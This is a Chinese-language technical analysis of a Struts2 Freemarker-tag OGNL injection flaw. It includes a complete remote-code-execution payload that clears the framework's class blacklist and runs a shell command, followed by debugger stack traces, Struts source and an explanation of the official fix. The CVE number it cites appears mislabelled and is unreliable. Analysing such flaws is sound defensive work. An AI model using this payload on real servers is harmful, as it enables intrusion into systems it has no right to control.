漏洞概述
漏洞类型
远程代码执行漏洞
CVE-ID
CVE-2017-1000112
危害等级
高危
影响版本
Struts 2.0.1Struts 2.3.33Struts 2.5 – Struts 2.5.10
漏洞危害
当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当做表达式进行执行，最后导致代码执行。
poc示例
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} poc调试
简单阅读poc后，按照惯例，将断点打在ProcessBuilder类的start()方法
//java.lang.ProcessBuilder public Process start() throws IOException { // Must convert to array first -- a malicious user-supplied // list might try to circumvent the security check. String[] cmdarray = command.toArray(new String[command.size()]); cmdarray = cmdarray.clone(); for (String arg : cmdarray) if (arg == null) throw new NullPointerException(); // Throws IndexOutOfBoundsException if command is empty String prog = cmdarray[0]; SecurityManager security = System.getSecurityManager(); if (security != null) security.checkExec(prog); String dir = directory == null ? null : directory.toString(); for (int i = 1; i < cmdarray.length; i++) { if (cmdarray[i].indexOf('/u0000') >= 0) { throw new IOException("invalid null character in command"); } } try { return ProcessImpl.start(cmdarray, environment, dir, redirects, redirectErrorStream); } catch (IOException | IllegalArgumentException e) { String exceptionInfo = ": " + e.getMessage(); Throwable cause = e; if ((e instanceof IOException) && security != null) { // Can not disclose the fail reason for read-protected files. try { security.checkRead(prog); } catch (SecurityException se) { exceptionInfo = ""; cause = se; } } // It's much easier for us to create a high-quality error // message than the low-level C code which found the problem. throw new IOException( "Cannot run program /"" + prog + "/"" + (dir == null ? "" : " (in directory /"" + dir + "/")") + exceptionInfo, cause); } } 进入断点，我们拿到了方法的调用栈信息
"qtp407997647-16@2296" prio=5 tid=0x10 nid=NA runnable java.lang.Thread.State: RUNNABLE at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:873) - locked <0x1393> (a java.lang.reflect.Method) at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1539) at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68) at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:96) at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:88) at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:1615) at ognl.ASTMethod.getValueBody(ASTMethod.java:91) at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) at ognl.SimpleNode.getValue(SimpleNode.java:258) at ognl.ASTChain.getValueBody(ASTChain.java:141) at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) at ognl.SimpleNode.getValue(SimpleNode.java:258) at ognl.ASTAssign.getValueBody(ASTAssign.java:52) at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) at ognl.SimpleNode.getValue(SimpleNode.java:258) at ognl.ASTChain.getValueBody(ASTChain.java:141) at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) at ognl.SimpleNode.getValue(SimpleNode.java:258) at ognl.Ognl.getValue(Ognl.java:467) at com.opensymphony.xwork2.ognl.OgnlUtil$4.execute(OgnlUtil.java:359) at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:382) at com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:357) at com.opensymphony.xwork2.ognl.OgnlValueStack.getValue(OgnlValueStack.java:360) at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValue(OgnlValueStack.java:348) at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValueWhenExpressionIsNotNull(OgnlValueStack.java:323) at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:307) at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:368) at com.opensymphony.xwork2.util.TextParseUtil$1.evaluate(TextParseUtil.java:156) at com.opensymphony.xwork2.util.OgnlTextParser.evaluate(OgnlTextParser.java:49) at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:166) at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:109) at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:82) at org.apache.struts2.components.Component.findValue(Component.java:377) at org.apache.struts2.components.Component.findString(Component.java:223) at org.apache.struts2.components.URL.findString(URL.java:150) at org.apache.struts2.components.ComponentUrlProvider.findString(ComponentUrlProvider.java:76) at org.apache.struts2.components.ServletUrlRenderer.beforeRenderUrl(ServletUrlRenderer.java:242) at org.apache.struts2.components.URL.start(URL.java:140) at org.apache.struts2.views.freemarker.tags.CallbackWriter.onStart(CallbackWriter.java:73) at freemarker.core.Environment.visitAndTransform(Environment.java:422) at freemarker.core.UnifiedCall.accept(UnifiedCall.java:107) at freemarker.core.Environment.visit(Environment.java:324) at freemarker.core.MixedContent.accept(MixedContent.java:54) at freemarker.core.Environment.visit(Environment.java:324) at freemarker.core.Environment.process(Environment.java:302) at freemarker.template.Template.process(Template.java:325) at org.apache.struts2.views.freemarker.FreemarkerResult.doExecute(FreemarkerResult.java:233) at org.apache.struts2.result.StrutsResultSupport.execute(StrutsResultSupport.java:208) at com.opensymphony.xwork2.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:373) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:277) at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:253) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:177) at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:260) at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:73) at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:139) at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133) at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133) at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:192) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:69) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:115) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:88) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:248) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:155) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174) at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:120) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:171) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:195) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193) at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247) at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:54) at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564) at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81) at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143) 这个漏洞跟数量繁多的Interceptor没有什么关系，我们直接将注意力集中到freemarker渲染完成后的代码。freemarker给struts2返回的对象仍然含有客户端传入的ognl表达式，struts2框架就这样执行了我们构造的恶意代码。
//org.apache.struts2.components.component / Evaluates the OGNL stack to find an Object of the given type. Will evaluate expr the portion wrapped with altSyntax (%{...}) against stack when altSyntax is on, else the whole expr is evaluated against the stack. This method only supports the altSyntax. So this should be set to true. @param expr OGNL expression. @param toType the type expected to find. @return the Object found, or null if not found. / protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) { if (ComponentUtils.containsExpression(expr)) { return TextParseUtil.translateVariables('%', expr, stack); } else { return expr; } } else { expr = stripExpressionIfAltSyntax(expr); return getStack().findValue(expr, toType, throwExceptionOnELFailure); } } 看到这里，我们不禁疑惑，struts2的代码就写的这么不安全，没有对表达式做任何处理吗？其实不是的，我们看下面的代码很明显是一个黑名单机制，感兴趣的朋友可以打断点看看，示例POC里的很多类都榜上有名
//com.opensymphony.xwork2.ognl.OgnlValueStack @Inject public void setOgnlUtil(OgnlUtil ognlUtil) { this.ognlUtil = ognlUtil; securityMemberAccess.setExcludedClasses(ognlUtil.getExcludedClasses()); securityMemberAccess.setExcludedPackageNamePatterns(ognlUtil.getExcludedPackageNamePatterns()); securityMemberAccess.setExcludedPackageNames(ognlUtil.getExcludedPackageNames()); securityMemberAccess.setDisallowProxyMemberAccess(ognlUtil.isDisallowProxyMemberAccess()); } 然而，道高一尺，魔高一丈，以彼之矛攻彼之盾。我们直接把用ognl把黑名单给删了。所有的类都可以畅通无阻的构造和执行方法。
(#ognlUtil.getExcludedPackageNames().clear()) .(#ognlUtil.getExcludedClasses().clear()) 官方修复
官方的修复方法很是巧妙，并没有去增加额外的过滤我们看一下2.5.10的代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false) public void setExcludedPackageNames(String commaDelimitedPackageNames) { excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames); } 以及2.5.12的代码
//com.opensymphony.xwork2.ognl.OgnlUtil @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false) public void setExcludedPackageNames(String commaDelimitedPackageNames) { excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames)); } 再回顾我们绕过黑名单的代码
#ognlUtil.getExcludedPackageNames().clear() struts2针对这种作弊的方法，将excludedPackageNames设为了UnmodifiableSet类型的对象，在这个对象上调用clear()方法，就会抛出java.lang.UnsupportedOperationException类型的异常，程序进入异常处理分支，避免了后续恶意代码的执行
总结
这个漏洞出现的条件比较苛刻，需要使用struts2和freemarker，而且需要编码人员有疏漏。然而这并不会改变这是一个高危漏洞的事实。一旦网站被发现了这个漏洞，后果将是灾难性的。建议struts2使用者还是尽快升级版本。
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